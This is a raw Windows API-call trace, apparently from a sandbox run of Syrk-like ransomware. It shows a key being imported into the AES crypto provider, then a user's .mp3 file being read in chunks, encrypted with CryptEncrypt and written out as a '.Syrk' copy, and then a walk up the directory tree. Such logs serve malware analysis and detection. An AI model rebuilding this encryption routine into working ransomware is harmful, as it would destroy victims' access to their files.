returned 0x20 [0243.149] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0243.149] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0243.149] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.149] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0243.149] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.149] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0243.150] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0243.150] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0243.150] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.150] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0243.150] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0243.150] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0243.151] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0243.151] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.152] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0243.152] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0243.152] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.152] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0243.152] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.152] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0243.152] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.153] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0243.153] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0243.153] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.153] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0243.153] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.153] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0243.153] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.154] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0243.154] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0243.154] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.154] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0243.154] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.154] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0243.154] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.155] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0243.155] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0243.155] SystemFunction041 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.155] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0243.155] SystemFunction040 (in: Memory=0x5c9b2c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b2c4) returned 0x0 [0243.155] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0243.156] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0243.156] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0243.157] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0243.157] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.157] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0243.157] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.157] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0243.157] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0243.158] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.158] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0243.158] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.158] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.158] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.158] EtwEventActivityIdControl () returned 0x0 [0243.159] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0243.159] SystemFunction041 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.159] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0243.159] SystemFunction040 (in: Memory=0x5c92c44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92c44) returned 0x0 [0243.161] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d100) returned 1 [0243.166] CryptImportKey (in: hProv=0x5c4d100, pbData=0x24f78b0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c995a0) returned 1 [0243.166] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.166] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.167] EtwEventActivityIdControl () returned 0x0 [0243.167] EtwEventActivityIdControl () returned 0x0 [0243.167] EtwEventActivityIdControl () returned 0x0 [0243.183] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 0x20 [0243.185] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 0x20 [0243.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.186] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.186] EtwEventActivityIdControl () returned 0x0 [0243.187] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.188] EtwEventActivityIdControl () returned 0x0 [0243.188] EtwEventActivityIdControl () returned 0x0 [0243.188] EtwEventActivityIdControl () returned 0x0 [0243.190] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.190] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.191] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0243.191] GetFileType (hFile=0x454) returned 0x1 [0243.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.191] GetFileType (hFile=0x454) returned 0x1 [0243.191] EtwEventActivityIdControl () returned 0x0 [0243.192] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.192] EtwEventActivityIdControl () returned 0x0 [0243.192] EtwEventActivityIdControl () returned 0x0 [0243.192] EtwEventActivityIdControl () returned 0x0 [0243.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0243.195] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk", lpFilePart=0x0) returned 0x49 [0243.195] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0243.195] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0243.196] GetFileType (hFile=0x1d4) returned 0x1 [0243.196] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0243.196] GetFileType (hFile=0x1d4) returned 0x1 [0243.196] EtwEventActivityIdControl () returned 0x0 [0243.196] CryptGenRandom (in: hProv=0x5c4d100, dwLen=0x10, pbBuffer=0x250b248 | out: pbBuffer=0x250b248) returned 1 [0243.198] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.198] CryptDuplicateKey (in: hKey=0x5c995a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0243.198] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0243.198] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x250c574*=0x1, dwFlags=0x0) returned 1 [0243.198] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x250c540, dwFlags=0x0) returned 1 [0243.199] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.200] EtwEventActivityIdControl () returned 0x0 [0243.200] EtwEventActivityIdControl () returned 0x0 [0243.200] EtwEventActivityIdControl () returned 0x0 [0243.201] EtwEventActivityIdControl () returned 0x0 [0243.201] ReadFile (in: hFile=0x454, lpBuffer=0x250f1bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250f1bc*, lpNumberOfBytesRead=0x5a2e7d8*=0x14000, lpOverlapped=0x0) returned 1 [0243.203] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25231d4*, pdwDataLen=0x5a2e7cc*=0x14000, dwBufLen=0x14000 | out: pbData=0x25231d4*, pdwDataLen=0x5a2e7cc*=0x14000) returned 1 [0243.204] WriteFile (in: hFile=0x1d4, lpBuffer=0x250b324*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250b324*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0243.206] WriteFile (in: hFile=0x1d4, lpBuffer=0x25241c0*, nNumberOfBytesToWrite=0x13014, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25241c0*, lpNumberOfBytesWritten=0x5a2e7b0*=0x13014, lpOverlapped=0x0) returned 1 [0243.217] ReadFile (in: hFile=0x454, lpBuffer=0x250f1bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250f1bc*, lpNumberOfBytesRead=0x5a2e7d8*=0x2d79, lpOverlapped=0x0) returned 1 [0243.217] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25371ec*, pdwDataLen=0x5a2e7cc*=0x2d70, dwBufLen=0x2d70 | out: pbData=0x25371ec*, pdwDataLen=0x5a2e7cc*=0x2d70) returned 1 [0243.217] WriteFile (in: hFile=0x1d4, lpBuffer=0x25371ec*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25371ec*, lpNumberOfBytesWritten=0x5a2e7b0*=0x2d70, lpOverlapped=0x0) returned 1 [0243.218] ReadFile (in: hFile=0x454, lpBuffer=0x250f1bc, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x250f1bc*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0243.218] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2539f68*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2539f68*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0243.218] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2539f84*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2539f84*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0243.218] WriteFile (in: hFile=0x1d4, lpBuffer=0x250b324*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250b324*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0243.218] CloseHandle (hObject=0x1d4) returned 1 [0243.221] CloseHandle (hObject=0x454) returned 1 [0243.221] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0243.222] EtwEventActivityIdControl () returned 0x0 [0243.222] EtwEventActivityIdControl () returned 0x0 [0243.222] EtwEventActivityIdControl () returned 0x0 [0243.229] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\xlkrw\\wwq2xl38e.mp3")) returned 0x20 [0243.231] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0243.231] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", nBufferLength=0x45, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\xLkRw\\Wwq2Xl38E.mp3", lpFilePart=0x0) returned 0x44 [0243.234] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.234] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0243.235] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0243.235] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0243.235] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.235] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0243.235] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0243.235] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0243.235] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.235] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0243.235] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0243.235] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, 